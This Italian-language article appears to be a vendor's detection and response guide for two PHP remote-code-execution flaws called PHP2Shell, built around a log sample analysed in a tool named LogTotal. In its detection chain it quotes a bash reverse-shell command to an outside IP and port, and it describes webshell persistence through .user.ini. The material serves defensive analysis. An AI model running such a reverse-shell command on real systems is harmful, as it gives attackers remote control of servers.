Analisi di Rilevamento ed Esplorazione di PHP2Shell

Il rilevamento di PHP2Shell è importante perché la finestra tra una patch e lo sfruttamento reale può essere di un solo giorno. PHP2Shell è il nome di due vulnerabilità di esecuzione di codice remoto non autenticato nel core di PHP, CVE-2026-109618 e CVE-2026-109619, entrambe valutate CVSS v4.0 9.2. Non è necessaria autenticazione, quindi qualsiasi applicazione PHP esposta su una release non patchata è un obiettivo. Nell’esempio seguente, lo sfruttamento si manifesta come un crash del lavoratore PHP seguito dall’esecuzione di comandi come l’utente del server web.

Questo articolo tratta del rilevamento di PHP2Shell utilizzando un campione di registro analizzato in LogTotal, uno strumento di analisi dei log che confronta gli eventi con minacce conosciute. Di seguito, spieghiamo il contesto delle vulnerabilità, da dove provengono i log, cosa ha trovato LogTotal e come rispondere.

Analisi di PHP2Shell

Entrambe le vulnerabilità PHP2Shell hanno un punteggio di 9.2 sotto CVSS v4.0 e sono accessibili senza autenticazione su qualsiasi installazione PHP che gestisca richieste web. Per leggere correttamente il campione di log, è utile sapere come funziona ciascun bug, come si è svolta rapidamente la divulgazione e quali installazioni sono esposte.

Inizia gratuitamente

Dettagli delle vulnerabilità per PHP2Shell

I due CVE sono distinti bug di sicurezza della memoria nel modo in cui PHP gestisce una richiesta. Ognuno di essi consente a un attaccante di eseguire codice come l’utente del server web.

• CVE-2026-109618, corruzione della memoria fuori dai limiti. Quando PHP esaurisce la memoria durante l’elaborazione di una richiesta, i dati interni rimangono parzialmente costruiti e il codice di pulizia li considera affidabili.
• CVE-2026-109619, stato globale obsoleto. Lo stato interno sopravvive alla memoria della richiesta a cui si riferisce, quindi la richiesta successiva che lo stesso lavoratore intercetta può agire su dati rimanenti.

Questo è il motivo per cui lo sfruttamento si manifesta come errori di “Dimensione memoria consentita… esaurita” e crash del lavoratore PHP. Gli scanner pubblici PHP2Shell cercano gli stessi segnali.

Cronologia di divulgazione e sfruttamento

I ricercatori di Calif hanno trovato le falle e le hanno segnalate a PHP. La fuga di notizie è il motivo per cui la catena di LogTotal è intitolata “Vulnerabilità critiche PHP trapelate.” Il codice PoC pubblico e i framework di sfruttamento sono apparsi su GitHub nel giro di pochi giorni, e un toolkit di ricerca riporta esecuzione comando verificata come www-data su build da PHP 7.4 a 8.4 sotto le release patchate.

Quali sistemi sono affetti da PHP2Shell

PHP elenca ogni release prima di 8.5.12, 8.4.27, 8.3.36 e 8.2.35 come vulnerabile, e anche i branch più vecchi sono colpiti.

Ogni installazione PHP che gestisce richieste web è nel mirino, che funzioni sotto PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, o FrankenPHP. PHP valuta il rischio massimo per Apache mod_php, dove un attacco può avere successo prima che venga eseguito qualsiasi codice applicativo.

Fonte e raccolta dei log

Il file miscela due fonti in un unico schema:

• 2 righe di testo semplice dal runtime PHP e il log degli errori di PHP-FPM
• 4 eventi (file e processo), normalizzati in stile ECS

Il mix è tipico di ciò che arriva in un SIEM nella pratica: registri degli errori delle applicazioni insieme a telemetria EDR.

Rileva PHP2Shell

LogTotal ha elaborato 6 righe in 4,2 secondi, ha confrontato 9 regole contro 4 righe e ha formato una catena su web-prod-01: PHP2Shell, Vulnerabilità PHP critiche trapelate (CVE-2026-109618 & CVE-2026-109619), Critico, corrispondenza al 100%, 3 regole attivate.

Come si sviluppa la catena PHP2Shell

La catena segue lo sfruttamento in tre fasi, tutte entro tre secondi.

1. Crash. La regola “Possibile tentativo di sfruttamento CVE-2026-109618 / CVE-2026-109619 – Esaurimento memoria PHP / Crash lavoratore PHP” ha rilevato un errore fatale PHP “Dimensione memoria consentita … esaurita” e il child PHP-FPM 1201 morire su SIGSEGV. Questi sono gli stessi segnali di crash che cercano gli scanner pubblici PHP2Shell.
2. Shell dal lavoratore web. “Possibile lavoratore PHP che genera processo insolito” e “Shell sospetta tramite server web [Linux]” hanno catturato php-fpm, in esecuzione come www-data, che genera sh -c bash /dev/shm/.s. Lo script è stato organizzato in /dev/shm supportato da RAM.
3. Shell inversa. “Possibile esfiltrazione di dati / Shell inversa tramite Bash” ha identificato bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Fuori dalla catena, altre quattro regole hanno colpito lo stesso comando, guidate dall’indicatore di Shell inversa Linux (Critico).

Utilizzare i risultati di LogTotal nel triage PHP2Shell

La catena fornisce l’ordine degli eventi e la gravità in un’unica schermata. Gli eventi grezzi forniscono gli IOC da bloccare e la persistenza da rimuovere. Utilizzare entrambi: confermare i tre passaggi della catena, quindi esaminare gli eventi di file e le linee di comando per gli IOC e la persistenza.

Mitigazione PHP2Shell

La soluzione definitiva per PHP2Shell è una release PHP corretta, e PHP afferma che nessun cambio di configurazione mitiga completamente queste falle. Su un server già sfruttato, la patching non è sufficiente: la webshell e .user.ini persistono attraverso un aggiornamento di PHP.

Patchare ogni installazione PHP

1. Inventariare ogni server e applicazione che esegue PHP, iniziando con i sistemi esposti a Internet e quelli che eseguono PHP come modulo Apache.
2. Aggiorna ogni installazione a 8.5.12, 8.4.27, 8.3.36 o 8.2.35, corrispondente al suo ramo. Le distribuzioni Linux hanno ricevuto le patch prima del rilascio, quindi controlla i pacchetti di distribuzione aggiornati.
3. Riavvia ogni lavoratore PHP affinché la correzione abbia effetto.
4. Per PHP 7.4, 8.0 e 8.1, utilizzare un pacchetto di distribuzione o LTS del fornitore o i backport minimi della sorgente di PHP, o aggiornare. PHP 7.3 e precedenti non hanno correzioni.
5. Limitare l’accesso a Internet a qualsiasi sistema PHP che non puoi aggiornare immediatamente.

Anche i tracker della comunità riportano CVE-2026-115560, un vettore di sessione di progressione upload dipendente dalla configurazione, coperto da un avviso informativo PHP il 23 ottobre 2026. Non fa parte di PHP2Shell ed è stato lasciato per un rilascio successivo; la raccomandazione provvisoria è session.upload_progress.enabled = 0.

Risposta raccomandata da LogTotal

1. Isolare web-prod-01.
2. Conservare i suoi log web, di sistema e di rete.
3. Indagare sulla destinazione della shell inversa.
4. Verificare la versione di PHP e la patch.
5. Allerta sui futuri crash dei lavoratori PHP e sulla generazione di shell.

Passaggi aggiuntivi dalle prove grezze

1. Bloccare l’uscita verso 198.51.100.23:4444.
2. Conservare le prove prima della pulizia: copiare uploads/.cache.php, .user.ini, e /dev/shm/.s. I file in /dev/shm si perdono al riavvio.
3. Rimuovere la persistenza. Eliminare la direttiva auto_prepend_file, o meglio, ricostruire l’host su una release PHP corretta.
4. Ruotare ogni segreto che www-data può leggere, come credenziali di database e chiavi API nella configurazione dell’applicazione.
5. Cacciare la flotta web per:
   • file .user.ini contenenti auto_prepend_file
   • file PHP nascosti nelle cartelle degli upload
   • shell generate da php-fpm, php-cgi, apache2 o httpd

Monitoraggio continuo di PHP2Shell

Mantieni i log degli errori PHP e PHP-FPM che fluiscono nel tuo SIEM insieme alla telemetria EDR. In questo campione, le linee di crash sono state il primo segnale e gli eventi di file EDR hanno contenuto la persistenza. Ciascuna fonte da sola avrebbe raccontato solo metà della storia.